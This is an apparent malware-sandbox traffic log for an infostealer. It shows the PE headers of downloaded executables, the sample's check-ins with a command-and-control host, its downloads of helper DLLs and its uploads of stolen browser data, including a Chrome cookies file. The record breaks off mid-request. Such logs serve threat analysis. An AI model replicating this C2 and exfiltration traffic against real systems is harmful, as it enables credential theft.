Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 02:40:03 GMTContent-Type: application/octet-streamContent-Length: 1950208Last-Modified: Mon, 25 Nov 2024 02:17:49 GMTConnection: keep-aliveETag: "6743de4d-1dc200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4d 00 00 04 00 00 58 04 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 d5 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 d5 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6d 65 71 78 75 6f 70 00 b0 1a 00 00 30 32 00 00 a6 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 61 79 6c 6b 6c 78 67 00 10 00 00 00 e0 4c 00 00 04 00 00 00 9c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4c 00 00 22 00 00 00 a0 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 02:41:10 GMTContent-Type: application/octet-streamContent-Length: 1873408Last-Modified: Mon, 25 Nov 2024 01:48:01 GMTConnection: keep-aliveETag: "6743d751-1c9600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c0 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 c7 42 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6a 78 68 67 65 65 64 00 00 1a 00 00 20 30 00 00 f6 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 63 64 69 6a 78 71 62 00 10 00 00 00 20 4a 00 00 06 00 00 00 6e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 02:41:19 GMTContent-Type: application/octet-streamContent-Length: 4401664Last-Modified: Mon, 25 Nov 2024 02:31:55 GMTConnection: keep-aliveETag: "6743e19b-432a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 a0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c4 00 00 04 00 00 de fa 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 84 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 84 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 67 70 66 73 65 69 71 00 80 1b 00 00 10 a9 00 00 76 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 68 75 7a 62 6b 65 7a 00 10 00 00 00 90 c4 00 00 06 00 00 00 02 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 c4 00 00 22 00 00 00 08 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 31 30 42 42 39 42 34 42 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="hwid"7210BB9B4B583419705248------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; name="build"mars------ECGDHDHJEBGHJKFIECBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="message"browsers------DGIJDAFCFHIEHJJKEHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHJKJKKJDHIDHJKJDBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="message"plugins------AEGHJKJKKJDHIDHJKJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 2d 2d 0d 0a Data Ascii: ------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="message"fplugins------BFCGDAAKFHIDBFIDBKFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCGHost: 185.215.113.206Content-Length: 6239Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GHDBAFIIECBFHIEBKJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="file"------HIJJEGDBFIIDGCAKJEBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJKHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKJJKFHIJKKFHJJECBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 2d 2d 0d 0a Data Ascii: ------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="token"dcd2e77ea72410f9830510f765150728b1acb8d88139a11e5ff296458c52d6c2a09a1e4d------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="file"------IJKJJKFHIJKKFHJJECBA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKFHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 63 64 32 65 37 37 65 61 37 32 34 31 30 66 39 38 33 30 35 31 30 66 37 36 35 31 35 30 37 32 38 62 31 61 63 62 38 64 38 38 31 33 39 61 31 31 65 35 66 66 32 39 36 34 35 38 63 35 32 64 36 63 32 61 30 39 61 31 65 34 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 